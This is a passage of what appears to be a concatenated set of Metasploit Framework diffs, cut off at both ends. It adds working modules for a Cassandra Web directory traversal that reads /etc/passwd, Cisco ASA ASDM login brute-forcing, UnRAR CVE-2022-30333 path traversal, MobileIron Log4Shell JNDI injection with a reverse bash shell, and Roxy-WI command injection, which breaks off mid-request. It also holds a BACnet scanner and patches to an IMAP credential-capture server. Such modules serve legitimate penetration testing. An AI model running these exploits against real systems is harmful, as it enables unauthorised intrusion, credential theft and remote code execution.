end
rescue Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
rescue Net::LDAP::Error => e
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
end
return if entries.nil? || entries.empty?
show_output(entries)
end
end
@@ -0,0 +1,96 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cassandra Web File Read Vulnerability',
'Description' => %q{
This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
This vulnerability occured due to the disabled Rack::Protection module
},
'References' => [
['URL', 'https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be'],
['EDB', '49362']
],
'Author' => [
'Jeremy Brown', # Vulnerability discovery
'krastanoel' # Metasploit module
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 8]),
OptInt.new('RPORT', [true, 'The Cassandra Web port (default: 3000)', 3000])
]
)
end
def check_host(_ip)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/')
})
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 200
if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')
return Exploit::CheckCode::Appears('Cassandra Web Detected')
else
return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown('Could not connect to the web service')
end
def run_host(ip)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{^/}
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/' "#{traversal}#{filename}")
})
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::NotVulnerable, 'Connection failed. Nothing was downloaded') if res.code != 200
fail_with(Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter') if res.body.include?('/js/cassandra.js')
print_status('Downloading file...')
print_line("\n#{res.body}\n")
fname = datastore['FILEPATH']
path = store_loot(
'cassandra.web.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File saved in: #{path}")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
@@ -0,0 +1,119 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco ASA ASDM Brute-force Login',
'Description' => %q{
This module scans for the Cisco ASA ASDM landing page and performs login brute-force
to identify valid credentials.
},
'Author' => [
'jbaines-r7'
],
'References' => [
[ 'URL', 'https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html' ]
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'BLANK_PASSWORDS' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptPath.new('USERPASS_FILE', [
false, 'File containing users and passwords separated by space, one pair per line',
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')
]),
OptPath.new('USER_FILE', [
false, 'File containing users, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')
]),
OptPath.new('PASS_FILE', [
false, 'File containing passwords, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')
])
]
)
end
def run_host(_ip)
# Establish the remote host is running Cisco ASDM
res = send_request_cgi('uri' => normalize_uri('/admin/public/index.html'))
return unless res && res.code == 200 && res.body.include?('<title>Cisco ASDM ')
print_status('The remote target appears to host Cisco ASA ASDM. The module will continue.')
print_status('Starting login brute force...')
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'Cisco ASA ASDM',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Brute-force the login page
def do_login(user, pass)
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
res = send_request_cgi({
'uri' => normalize_uri('/admin/version.prop'),
'agent' => 'ASDM/ Java/1.8.0_333',
'authorization' => basic_auth(user, pass)
})
# check if the user was forwarded to the version.prop file
if res && res.code == 200 && res.body.include?('asdm.version=') && res.body.include?('launcher.version=')
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
return :next_user
else
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
end
end
end
+2 -1
View File
@@ -63,7 +63,8 @@ class MetasploitModule < Msf::Auxiliary
# - The occurence of any form (web.form :path, :type (get|post|path_info), :params)
#
def crawler_process_page(t, page, cnt)
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page.code || "ERR"} - #{t[:vhost]} - #{page.url}"
return if page.nil? # Skip over pages that don't contain any info aka page is nil. We can't process these types of pages since there is no data to process.
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page ? page.code || "ERR" : "ERR"} - #{t[:vhost]} - #{page.url}"
if page.error
print_error("Error accessing page #{page.error.to_s}")
elog(page.error)
@@ -0,0 +1,417 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Capture
include Rex::Socket::Udp
FILE_NAME = 'bacnet-discovery'.freeze
DEFAULT_SERVER_TIMEOUT = 1
DEFAULT_SEND_COUNT = 1
DEFAULT_SLEEP = 1
BACNET_ASHARE_STANDARD = "\x01".freeze
BACNETIP_CONSTANT = "\x81".freeze
BACNET_LLC = "\x82\x82\x03".freeze
BACNET_BVLC = "\x81\x0b\x00\x0c".freeze
BACNET_BVLC_LEN = BACNET_BVLC.length
BACNET_WHOIS_APDU_NPDU = "\x01\x20\xff\xff\x00\xff\x10\x08".freeze
# Building Automation and Control Network APDU
# 0001 .... = APDU Type: Unconfirmed-REQ (1)
# Unconfirmed Service Choice: i-Am (0)
# ObjectIdentifier: device
BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX = "\x10\x00\xc4\x02".freeze
DEFAULT_BACNET_PORT = 47808
DISCOVERY_MESSAGE_L3 = BACNET_BVLC + BACNET_WHOIS_APDU_NPDU
DISCOVERY_MESSAGE_L2 = BACNET_LLC + BACNET_WHOIS_APDU_NPDU
DISCOVERY_MESSAGE_L2_LEN = Array[DISCOVERY_MESSAGE_L2.length].pack('n')
READ_MULTIPLE_DEVICES_PROP = "\x1e\x09\x08\x1f".freeze
READ_MODEL_NAME_PROP = "\x19\x46".freeze
READ_FIRMWARE_VERSION_PROP = "\x19\x2c".freeze
READ_APP_SOFT_VERSION_PROP = "\x19\x0c".freeze
READ_DESCRIPTION_PROP = "\x19\x1c".freeze
GET_PROPERTY_MESSAGES_L3_SIMPLE = [
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_MODEL_NAME_PROP}", # model-name
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_FIRMWARE_VERSION_PROP}", # firmware-revision
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_APP_SOFT_VERSION_PROP}", # application-software-version
"\x81\n\u0000\u0011\u0001\u0004\u0002\u0002\u0000\f\f\u0002{object_identifier}#{READ_DESCRIPTION_PROP}"
].freeze # description
GET_PROPERTY_MESSAGES_L3_NESTED = [
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_MODEL_NAME_PROP}",
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_FIRMWARE_VERSION_PROP}",
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_APP_SOFT_VERSION_PROP}",
"\u0001${dest_net_id}{dadr_len}{dadr}\xFF\u0002\u0002\u0002\f\f\u0002{object_identifier}#{READ_DESCRIPTION_PROP}"
].freeze
def initialize
super(
'Name' => 'BACnet Scanner',
'Description' => '
Discover BACnet devices by broadcasting Who-is message, then poll
discovered devices for properties including model name,
software version, firmware revision and description.
',
'Author' => ['Paz @ SCADAfence'],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
register_options(
[
OptInt.new('TIMEOUT', [true, 'The socket connect timeout in seconds', DEFAULT_SERVER_TIMEOUT]),
OptInt.new('COUNT', [true, 'The number of times to send each packet', DEFAULT_SEND_COUNT]),
OptPort.new('PORT', [true, 'BACnet/IP UDP port to scan (usually between 47808-47817)', DEFAULT_BACNET_PORT]),
OptString.new('INTERFACE', [true, 'The interface to scan from', 'eth1'])
], self.class
)
deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'LHOST')
end
def hex_to_bin(str)
str.scan(/../).map { |x| x.hex.chr }.join
end
def bin_to_hex(str)
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
# Check if device is nested and extract relevant data
def parse_npdu(data)
is_nested = false
if data.start_with? BACNET_ASHARE_STANDARD
control = data[1].unpack1('C*')
src_specifier = control & (1 << 3) != 0 # check if 4th bit is set
dst_specifier = control & (1 << 5) != 0 # check if 6th bit is set
idx = 2
if dst_specifier
dst_len = data[idx + 2].ord
idx += 3 + dst_len
end
if src_specifier
src_net_id = data[idx..idx + 1]
sadr_len = data[idx + 2]
sadr = data[idx + 3..idx + 2 + sadr_len.unpack1('C*')]
is_nested = true
end
# if no network address specified - set as broadcast network address
src_net_id ||= '\x00'
end
[is_nested, src_net_id, sadr_len, sadr]
end
# Extracting index to start handling the data from
def extract_index(data)
if data.start_with? BACNET_ASHARE_STANDARD
begin
control = data[1].unpack1('C*')
src_specifier = control & (1 << 3) != 0 # check if 4th bit is set
dst_specifier = control & (1 << 5) != 0 # check if 6th bit is set
idx = 2
if dst_specifier
idx += 3 + dst_len
end
if src_specifier
sadr_len = data[idx + 2]
idx += 3 + sadr_len.unpack1('C*')
end
idx += 1 if dst_specifier # increase index if both specifiers exist
idx
end
end
end
# Broadcasting Who-is and returns a capture with the responses.
def broadcast_who_is
begin
broadcast_addr = get_ipv4_broadcast(datastore['INTERFACE'])
interface_addr = get_ipv4_addr(datastore['INTERFACE'])
rescue StandardError
raise StandardError, "Interface #{datastore['INTERFACE']} is down"
end
cap = []
# Create a socket for broadcast response and a socket for unicast response.
lsocket = Rex::Socket::Udp.create({
'LocalHost' => broadcast_addr,
'LocalPort' => datastore['PORT'],
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
ssocket = Rex::Socket::Udp.create({
'LocalHost' => interface_addr,
'LocalPort' => datastore['PORT'],
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
datastore['COUNT'].times { lsocket.sendto(DISCOVERY_MESSAGE_L3, '255.255.255.255', datastore['PORT'], 0) }
# Collect responses with unicast or broadcast destination.
loop do
data, host, port = lsocket.recvfrom(65535, datastore['TIMEOUT'])
data2, host2, port2 = ssocket.recvfrom(65535, datastore['TIMEOUT'])
break if (host.nil? && host2.nil?)
cap << [data, host, port] if host
cap << [data2, host2, port2] if host2
end
lsocket.close
cap
end
# Analyze I-am packets,and prepare read-property messages for each.
def analyze_i_am_devices(capture)
devices_data = {}
instance_numbers = []
capture.each do |cap|
data = cap[0]
ip = cap[1]
next unless data[0] == BACNETIP_CONSTANT # If communication is not a bacnet/ip
data = data[4..]
index = data.index(BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX)
next unless index # If cap has no I-am object
raw_instance_number = bin_to_hex(data[(index + BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX.length)..(index + BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX.length + 2)]).to_i(16) & 0x3fffff
instance_number = raw_instance_number.to_s(16).rjust(6, '0')
next if instance_numbers.include? instance_number # Pass if we already analysed this instance number
devices_data[[instance_number, ip]] = data unless devices_data[[instance_number, ip]]
end
devices_data
end
def create_messages_for_devices(devices_data)
messages = {}
devices_data.each do |key, data|
instance_number = hex_to_bin(key[0])
items = parse_npdu(data) # Get specifier data
# Check if device is nested and create messages accordingly
if items[0] == true
messages[key] = create_nested_messages(instance_number, items)
else
messages[key] = create_simple_messages(instance_number)
end
end
messages
end
# Create messages for nested device and return them in array.
def create_nested_messages(instance_number, items)
nested_messages = []
GET_PROPERTY_MESSAGES_L3_NESTED.each do |msg_base|
msg = msg_base
.sub('{object_identifier}', instance_number)
.sub('{dest_net_id}', items[1])
.sub('{dadr_len}', items[2])
.sub('{dadr}', items[3])
length = Array(msg.length + BACNET_BVLC_LEN).pack('n*')
msg = "\x81\n#{length}#{msg}"
nested_messages.append(msg)
end
nested_messages
end
# Create messages for non-nested device and return them in array.
def create_simple_messages(instance_number)
simple_messages = []
GET_PROPERTY_MESSAGES_L3_SIMPLE.each do |msg_base|
msg = msg_base.sub('{object_identifier}', instance_number)
simple_messages.append(msg)
end
simple_messages
end
# Loop on recorded packets and extract data from read-property messages
def extract_data(capture)
asset_data = {}
capture.each do |packet|
data = packet[0][4..]
items = parse_npdu(data)
index = extract_index(data)
asset_data['sadr'] = bin_to_hex(items[3]) if items[0] == true
type = data[index + 8..index + 9]
attribute = ''
case type
when READ_MODEL_NAME_PROP
attribute = 'model-name'
when READ_DESCRIPTION_PROP
attribute = 'description'
when READ_APP_SOFT_VERSION_PROP
attribute = 'application-software-version'
when READ_FIRMWARE_VERSION_PROP
attribute = 'firmware-revision'
else
raise "undefined attribute for property number #{bin_to_hex(type)}."
end
value = bin_to_hex(data[index + 9..])[/3e(.*?)3f/m, 1]
value = hex_to_bin(value)
value = (value[value.index(hex_to_bin('00')) + 1..]).force_encoding('UTF-8') # parsing the needed text
asset_data[attribute] = value
end
asset_data
end
# Gets properties from devices and returns a hash with the details of each device.
def get_properties_from_devices(messages)
devices_by_ip = {}
messages.each do |key, message_block|
instance_number = key[0].to_i(16)
ip = key[1]
capture = send_read_properties(message_block, ip, instance_number)
begin
device = extract_data(capture)
raise StandardError if device.empty?
device['instance-number'] = instance_number.to_s
devices_by_ip[ip] = [] unless devices_by_ip[ip]
devices_by_ip[ip].append(device)
rescue StandardError
print_bad("Couldn't collect data for asset number #{instance_number}.")
end
end
devices_by_ip
end
# Sending read-property packets and returns a pcap with the responses.
def send_read_properties(messages, ip, instance_number)
cap = []
ssocket = Rex::Socket::Udp.create({
'PeerHost' => ip,
'PeerPort' => datastore['PORT'],
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
print_status("Querying device number #{instance_number} in ip #{ip}")
messages.each do |message|
ssocket.sendto(message, ip, datastore['PORT'], 0)
loop do
data, host, port = ssocket.recvfrom(65535, datastore['TIMEOUT'])
break if host.nil?
cap << [data, host, port]
end
end
ssocket.close
cap
end
# Iterates over all the devices and prints the details to the user.
def output_results(devices_by_ip)
devices_by_ip.each_value do |ip_group|
ip_group.each do |asset|
sadr = ''
if asset['sadr']
sadr = "sadr: #{asset['sadr']}\n"
end
print_good(<<~OUTPUT)
for asset number #{asset['instance-number']}:
\tmodel name: #{asset['model-name']}
\tfirmware revision: #{asset['firmware-revision']}
\tapplication software version: #{asset['application-software-version']}
\tdescription: #{asset['description']}
\t#{sadr}
OUTPUT
end
end
end
# Convert data values to xml format.
def parse_data_to_xml(raw_data)
data = ''
raw_data.each do |ip, devices|
chunk = <<~IP.chomp
<ip>
<value> #{ip} </value>
IP
devices.each do |device|
sadr = ''
if device['sadr']
sadr = "
<sadr> #{device['sadr']} </sadr>"
end
chunk = <<~XML.chomp
#{chunk}
<asset>
<instance-number> #{device['instance-number']} </instance-number>
<model-name> #{device['model-name']} </model-name>
<application-software-version> #{device['application-software-version']} </application-software-version>
<firmware-revision> #{device['firmware-revision']} </firmware-revision>
<description> #{device['description']} </description>#{sadr}
</asset>
XML
end
chunk += <<~IP
</ip>
IP
data += chunk
end
data
end
def get_device_array(devices_by_ip)
devices = []
devices_by_ip.each do |ip, batch|
batch.each do |device|
device['ip'] = ip
devices << device
end
end
devices
end
def run
# Validate user input
raise Msf::OptionValidateError, ['TIMEOUT'] if datastore['TIMEOUT'].negative?
raise Msf::OptionValidateError, ['COUNT'] if datastore['COUNT'] < 1
raise Msf::OptionValidateError, ['INTERFACE'] if datastore['INTERFACE'].empty?
begin
# Broadcast who-is and create request-property messages for detected devices.
print_status "Broadcasting Who-is via #{datastore['INTERFACE']}"
capture = broadcast_who_is
devices_data = analyze_i_am_devices(capture)
messages = create_messages_for_devices(devices_data)
# If there are messages to send
if !messages.empty?
print_status "found #{messages.length} devices"
sleep(DEFAULT_SLEEP)
devices_by_ip = get_properties_from_devices(messages)
print_status 'Done collecting data'
sleep(DEFAULT_SLEEP)
output_results(devices_by_ip)
else
fail_with(Failure::NotFound, 'No devices found. Exiting.')
end
rescue StandardError => e
fail_with(Failure::Unknown, e.message)
return
end
begin
data = parse_data_to_xml(devices_by_ip)
begin
store_local('bacnet.devices.info'.dup, 'text/xml', data, FILE_NAME)
print_good("Successfully saved data to local store named #{FILE_NAME}.xml")
rescue StandardError # If there are no privileges to save a file
devices = get_device_array(devices_by_ip)
report_note(
ips: devices_by_ip.keys,
devices: devices,
proto: 'udp'
)
print_good('Successfully reported data')
end
print_status('Done.')
rescue StandardError => e
fail_with(Failure::Unknown, e.message)
end
end
end
@@ -648,23 +648,30 @@ class MetasploitModule < Msf::Auxiliary
# Generates the private key from the P, Q and E values
def key_from_pqe(p, q, e)
# Returns an RSA Private Key from Factors
key = OpenSSL::PKey::RSA.new()
key.set_factors(p, q)
n = key.p * key.q
phi = (key.p - 1) * (key.q - 1 )
n = p * q
phi = (p - 1) * (q - 1 )
d = OpenSSL::BN.new(e).mod_inverse(phi)
key.set_key(n, e, d)
dmp1 = d % (p - 1)
dmq1 = d % (q - 1)
iqmp = q.mod_inverse(p)
dmp1 = key.d % (key.p - 1)
dmq1 = key.d % (key.q - 1)
iqmp = key.q.mod_inverse(key.p)
asn1 = OpenSSL::ASN1::Sequence(
[
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Integer(n),
OpenSSL::ASN1::Integer(e),
OpenSSL::ASN1::Integer(d),
OpenSSL::ASN1::Integer(p),
OpenSSL::ASN1::Integer(q),
OpenSSL::ASN1::Integer(dmp1),
OpenSSL::ASN1::Integer(dmq1),
OpenSSL::ASN1::Integer(iqmp)
]
)
key.set_crt_params(dmp1, dmq1, iqmp)
return key
key = OpenSSL::PKey::RSA.new(asn1.to_der)
key
end
#
@@ -95,8 +95,8 @@ class MetasploitModule < Msf::Auxiliary
raise RuntimeError, "Telephony not available"
end
@confdir = File.join(Msf::Config.get_config_root, 'wardial')
@datadir = File.join(Msf::Config.get_config_root, 'logs', 'wardial')
@confdir = File.join(Msf::Config.config_directory, 'wardial')
@datadir = File.join(Msf::Config.config_directory, 'logs', 'wardial')
# make sure working dirs exist
FileUtils.mkdir_p(@confdir)
+36 -3
View File
@@ -52,7 +52,33 @@ class MetasploitModule < Msf::Auxiliary
data = c.get_once
return unless data
num, cmd, arg = data.strip.split(/\s+/, 3)
arg ||= ""
cmd ||= ''
arg ||= ''
args = []
# If the argument is a number in braces, such as {3}, it means data is coming
# separately
if arg.chomp =~ /\{[0-9]+\}$/
loop do
# Ask for more data
c.put "+ \r\n"
# Get the next line
arg = (c.get_once || '').chomp
# Remove the length field, if there is one
if arg =~ /(.*) \{[0-9]+\}$/
args << $1
else
# If there's no length field, we're at the end
args << arg
break
end
end
else
# If there's no length, treat it like we used to
args = arg.split(/\s+/)
end
if cmd.upcase == 'CAPABILITY'
c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " +
@@ -74,10 +100,10 @@ class MetasploitModule < Msf::Auxiliary
end
if cmd.upcase == 'LOGIN'
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
@state[c][:user], @state[c][:pass] = args
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
print_good("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
return
end
@@ -87,6 +113,13 @@ class MetasploitModule < Msf::Auxiliary
return
end
if cmd.upcase == 'ID'
# RFC2971 specifies the ID command, and `NIL` is a valid response
c.put("* ID NIL\r\n")
c.put("#{num} OK ID completed\r\n")
return
end
@state[c][:pass] = data.strip
c.put "#{num} NO LOGIN FAILURE\r\n"
return
@@ -0,0 +1,81 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Format::RarSymlinkPathTraversal
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that exploits CVE-2022-30333, which is a
path-traversal vulnerability in unRAR that can extract an arbitrary file
to an arbitrary location on a Linux system. UnRAR fixed this
vulnerability in version 6.12 (open source version 6.1.7).
The core issue is that when a symbolic link is unRAR'ed, Windows
symbolic links are not properly validated on Linux systems and can
therefore write a symbolic link that points anywhere on the filesystem.
If a second file in the archive has the same name, it will be written
to the symbolic link path.
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' => {
# The RAR file has 4096 bytes of space
'Space' => 4096
},
'Targets' => [
[ 'Generic RAR file', {} ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../" - as well as a filename).']),
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
]
)
end
def exploit
print_status("Target filename: #{datastore['TARGET_PATH']}")
begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), datastore['TARGET_PATH'], payload.encoded)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end
file_create(rar)
end
end
@@ -0,0 +1,132 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Log4Shell
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(_info = {})
super(
'Name' => 'MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)',
'Description' => %q{
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the tomcat user.
This module will start an LDAP server that the target will need to connect to.
},
'Author' => [
'Spencer McIntyre', # JNDI/LDAP lib stuff
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
'rwincey', # discovered log4shell vector in MobileIron
'jbaines-r7' # wrote this module
],
'References' => [
[ 'CVE', '2021-44228' ],
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US' ],
[ 'URL', 'https://www.mandiant.com/resources/mobileiron-log4shell-exploitation' ]
],
'DisclosureDate' => '2021-12-12',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'SRVPORT' => 389,
'WfsDelay' => 30
},
'Targets' => [
[
'Linux', {
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [
'auxiliary/scanner/http/log4shell_scanner',
'exploit/multi/http/log4shell_header_injection'
]
}
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path', '/'])
])
end
def wait_until(&block)
datastore['WfsDelay'].times do
break if block.call
sleep(1)
end
end
def check
validate_configuration!
vprint_status('Attempting to trigger the jndi callback...')
start_service
res = trigger
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
wait_until { @search_received }
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
ensure
cleanup_service
end
def build_ldap_search_response_payload
return [] if @search_received
@search_received = true
return [] unless @exploiting
print_good('Delivering the serialized Java object to execute the payload...')
build_ldap_search_response_payload_inline('CommonsBeanutils1')
end
def trigger
@search_received = false
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mifs', 'j_spring_security_check'),
'headers' => {
'Referer' => "https://#{rhost}#{normalize_uri(target_uri, 'mifs', 'user', 'login.jsp')}"
},
'encode' => false,
'vars_post' => {
'j_username' => log4j_jndi_string,
'j_password' => Rex::Text.rand_text_alphanumeric(8),
'logincontext' => 'employee'
}
)
end
def exploit
validate_configuration!
@exploiting = true
start_service
res = trigger
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 302
wait_until { @search_received && (!handler_enabled? || session_created?) }
handler
end
end
+121
View File
@@ -0,0 +1,121 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Roxy-WI
prior to version 6.1.1.0. Successful exploitation results in remote code execution
under the context of the web server user.
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
},
'License' => MSF_LICENSE,
'Author' => [
'Nuri Çilengir <nuri[at]prodaft.com>', # Author & Metasploit module
],
'References' => [
['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory
['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information
['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch
['CVE', '2022-31137']
],
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 25
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :in_memory
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
}
]
],
'CmdStagerFlavor' => ['printf'],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-07-06',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
end
def execute_command(cmd, _opts = {})
return send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),
'vars_post' => {
'serv' => '127.0.0.1',
